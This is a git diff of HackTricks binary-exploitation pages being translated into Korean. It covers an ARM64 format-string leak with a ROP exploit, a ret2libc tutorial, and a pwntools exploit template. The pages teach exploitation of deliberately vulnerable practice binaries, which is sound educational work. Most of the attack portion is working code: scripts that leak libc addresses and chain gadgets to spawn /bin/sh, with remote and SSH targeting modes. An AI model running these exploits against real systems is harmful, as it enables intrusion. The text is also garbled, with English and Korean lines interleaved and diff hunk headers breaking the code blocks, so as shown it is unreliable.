<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
다양한 오프셋을 시도하면 **`%21$p`**가 이진 주소(PIE 우회)를 누출할 수 있고 **`%25$p`**가 libc 주소를 누출할 수 있습니다:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
누출된 libc 주소에서 libc의 기본 주소를 빼면 **누출된 주소의 오프셋은 `0x49c40`**임을 알 수 있습니다.
### x30 offset
### x30 오프셋
See the previous example as the bof is the same.
이전 예제를 참조하세요. bof는 동일합니다.
### Find Gadgets
### 가젯 찾기
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper another interesting gadget was found:
이전 예제와 마찬가지로 **`x0`**에 문자열 **`/bin/sh`**의 주소를 두고 **`system`**을 호출해야 합니다.
rooper를 사용하여 또 다른 흥미로운 가젯이 발견되었습니다:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
이 가젯은 **`$sp + 0x78`**에서 `x0`를 로드한 다음, sp에서 x29와 x30의 주소를 로드하고 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프할 수 있습니다**.
### Exploit
```python
from pwn import *
from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP
# ROP을 이용한 libc 주소 유출
{{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume
## 간단 요약
1. **Find** overflow **offset**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**
1. **오버플로우 오프셋** 찾기
2. `POP_RDI` 가젯, `PUTS_PLT``MAIN` 가젯 찾기
3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 **메모리 주소를 유출**하고 **libc 버전 찾기** ([다운로드하기](https://libc.blukat.me))
4. 라이브러리를 사용하여 **ROP 계산 및 익스플로잇하기**
## Other tutorials and binaries to practice
## 연습할 다른 튜토리얼 및 바이너리
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
이 튜토리얼은 이 튜토리얼에서 제안한 코드/바이너리를 익스플로잇할 것입니다: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
또 다른 유용한 튜토리얼: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code
Filename: `vuln.c`
## 코드
파일 이름: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - LIBC 주소 유출 템플릿
## ROP - Leaking LIBC template
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
익스플로잇을 다운로드하고 취약한 바이너리와 같은 디렉토리에 배치한 후 스크립트에 필요한 데이터를 제공하십시오:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
## 1- 오프셋 찾기
템플릿은 익스플로잇을 계속하기 전에 오프셋이 필요합니다. 제공된 경우, 필요한 코드를 실행하여 오프셋을 찾습니다 (기본값 `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
**실행** `python template.py` 하면 프로그램이 충돌하는 GDB 콘솔이 열립니다. 그 **GDB 콘솔** 안에서 `x/wx $rsp`를 실행하여 RIP를 덮어쓸 **바이트**를 가져옵니다. 마지막으로 **python** 콘솔을 사용하여 **오프셋**을 가져옵니다:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
오프셋(이 경우 40)을 찾은 후, 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다.\
`OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
또 다른 방법은: `pattern create 1000` -- _ret까지 실행_ -- `pattern seach $rsp`를 GEF에서 사용하는 것입니다.
## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
## 2- 가젯 찾기
이제 이진 파일 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 `puts`를 호출하여 사용 중인 **libc**를 찾고, 나중에 **최종 익스플로잇을 실행**하는 데 유용합니다.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT`는 **함수 puts**를 호출하는 데 필요합니다.\
`MAIN_PLT`**오버플로우**를 **다시** **악용**하기 위해 한 번의 상호작용 후에 **main function**을 다시 호출하는 데 필요합니다(무한 반복의 악용). **각 ROP의 끝에서 프로그램을 다시 호출하는 데 사용됩니다**.\
**POP_RDI**는 호출된 함수에 **매개변수**를 **전달**하는 데 필요합니다.
The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
이 단계에서는 pwntools가 실행 중에 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
## 3- libc 라이브러리 찾기
이제 어떤 버전의 **libc** 라이브러리가 사용되고 있는지 찾을 시간입니다. 그렇게 하기 위해 우리는 **함수** `puts`의 메모리 내 **주소**를 **유출**한 다음, 해당 주소에서 puts 버전이 있는 **라이브러리 버전**을 **검색**할 것입니다.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
이를 위해 실행된 코드에서 가장 중요한 줄은:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
이것은 **RIP**를 **덮어쓰기**할 수 있을 때까지 몇 바이트를 보낼 것입니다: `OFFSET`.\
그런 다음, **주소**를 `POP_RDI` 가젯으로 설정하여 다음 주소(`FUNC_GOT`)가 **RDI** 레지스트리에 저장되도록 합니다. 이는 우리가 **puts를 호출**하고 **주소**를 `PUTS_GOT`로 전달하기를 원하기 때문입니다. `puts` 함수의 메모리 주소는 `PUTS_GOT`가 가리키는 주소에 저장됩니다.\
그 후, `PUTS_PLT`가 호출될 것입니다( **RDI** 안에 `PUTS_GOT`가 포함됨) 그래서 puts는 `PUTS_GOT` 안의 **내용**을 **읽고** (**메모리에서 puts 함수의 주소**) **출력**할 것입니다.\
마지막으로, **main 함수가 다시 호출**되어 우리는 오버플로우를 다시 이용할 수 있습니다.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
이렇게 해서 우리는 **puts 함수**를 **속여서** **메모리**에서 **puts** 함수의 **주소**를 **출력**하게 했습니다(이는 **libc** 라이브러리 안에 있습니다). 이제 그 주소를 알게 되었으니 **어떤 libc 버전이 사용되고 있는지 검색**할 수 있습니다.
![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:
우리가 **로컬** 바이너리를 **악용**하고 있기 때문에 어떤 버전의 **libc**가 사용되고 있는지 알아낼 필요는 없습니다(단지 `/lib/x86_64-linux-gnu/libc.so.6`에서 라이브러리를 찾으면 됩니다).\
하지만 원격 익스플로잇의 경우, 여기서 어떻게 찾을 수 있는지 설명하겠습니다:
### 3.1- Searching for libc version (1)
### 3.1- libc 버전 검색 (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**
웹 페이지에서 어떤 라이브러리가 사용되고 있는지 검색할 수 있습니다: [https://libc.blukat.me/](https://libc.blukat.me)\
이 사이트는 발견된 **libc** 버전을 다운로드할 수 있도록 해줍니다.
![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2)
### 3.2- libc 버전 검색 (2)
You can also do:
다음과 같이 할 수도 있습니다:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
This will take some time, be patient.\
For this to work we need:
이 작업은 시간이 걸릴 수 있으니 인내심을 가지세요.\
이 작업이 작동하려면 다음이 필요합니다:
- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
- Libc 심볼 이름: `puts`
- 유출된 libc 주소: `0x7ff629878690`
우리는 어떤 **libc**가 사용되고 있는지 알아낼 수 있습니다.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
우리는 2개의 결과를 얻습니다 (첫 번째가 작동하지 않으면 두 번째를 시도해야 합니다). 첫 번째 것을 다운로드하세요:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`에서 libc를 작업 디렉토리로 복사합니다.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
### 3.3- 누출할 다른 함수들
```python
puts
printf
@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
## 4- libc 주소 찾기 및 악용
## 4- Finding based libc address & exploiting
이 시점에서 사용된 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 악용하고 있으므로 저는 단지:`/lib/x86_64-linux-gnu/libc.so.6`를 사용할 것입니다.
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
따라서 `template.py`의 시작 부분에서 **libc** 변수를 다음으로 변경하십시오: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
**libc 라이브러리**에 **경로**를 제공하면 나머지 **악용은 자동으로 계산될 것입니다**.
`get_addr` 함수 내에서 **libc의 기본 주소**가 계산될 것입니다:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
> 최종 libc 기본 주소는 **00**으로 끝나야 합니다. 그렇지 않은 경우 잘못된 라이브러리를 유출했을 수 있습니다.
그런 다음, 함수 `system`의 주소와 문자열 _"/bin/sh"_의 **주소**는 **libc**의 **기본 주소**에서 **계산**됩니다. **libc 라이브러리**가 제공됩니다.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
마지막으로, /bin/sh 실행 익스플로잇이 준비될 것입니다:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,30 +217,27 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
마지막 ROP에 대해 설명하겠습니다.\
마지막 ROP(`rop1`)은 다시 main 함수를 호출한 후, 다시 **overflow**를 **exploit**할 수 있습니다(그래서 `OFFSET`이 여기 다시 있는 것입니다). 그런 다음, 우리는 **"/bin/sh"**의 **주소**(`BINSH`)를 가리키는 `POP_RDI`를 호출하고 **system** 함수(`SYSTEM`)를 호출하고자 합니다. 왜냐하면 **"/bin/sh"**의 주소가 매개변수로 전달될 것이기 때문입니다.\
마지막으로, **exit 함수의 주소**가 **호출**되어 프로세스가 **정상적으로 종료**되고 어떤 경고도 생성되지 않습니다.
Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
**이렇게 하면 exploit가 \_/bin/sh**\_\*\* 셸을 실행합니다.\*\*
![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET
## 4(2)- ONE_GADGET 사용하기
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
대신 **system**과 **"/bin/sh"**를 사용하는 대신 [**ONE_GADGET**](https://github.com/david942j/one_gadget)를 사용하여 셸을 얻을 수도 있습니다. **ONE_GADGET**은 libc 라이브러리 내에서 단 하나의 **ROP 주소**만으로 셸을 얻는 방법을 찾습니다.\
그러나 일반적으로 몇 가지 제약이 있으며, 가장 일반적이고 피하기 쉬운 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내부의 값을 제어하므로 NULL 값을 좀 더 보내기만 하면 제약을 피할 수 있습니다.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
이 취약점을 악용하기 위한 템플릿은 여기에서 찾을 수 있습니다:
{{#ref}}
rop-leaking-libc-template.md
@ -273,32 +247,26 @@ rop-leaking-libc-template.md
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code:
"main" 심볼이 존재하지 않는 경우, 메인 코드가 어디에 있는지 찾을 수 있습니다:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
주소를 수동으로 설정합니다:
```python
MAIN_PLT = 0x401080
```
### Puts not found
If the binary is not using Puts you should check if it is using
이진 파일이 Puts를 사용하지 않는 경우 다음을 확인해야 합니다.
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
모든 익스플로잇을 생성한 후 이 **오류**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
**"/bin/sh"의 주소에서 64 바이트를 빼보세요**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template
# libc 유출 - 템플릿
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
## 일반적인 문제
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
### MAIN_PLT = elf.symbols\['main']를 찾을 수 없음
"main" 심볼이 존재하지 않는 경우(아마도 스트립된 바이너리 때문입니다). 그러면 메인 코드가 어디에 있는지 찾을 수 있습니다:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
주소를 수동으로 설정합니다:
```python
MAIN_PLT = 0x401080
```
### Puts not found
If the binary is not using Puts you should **check if it is using**
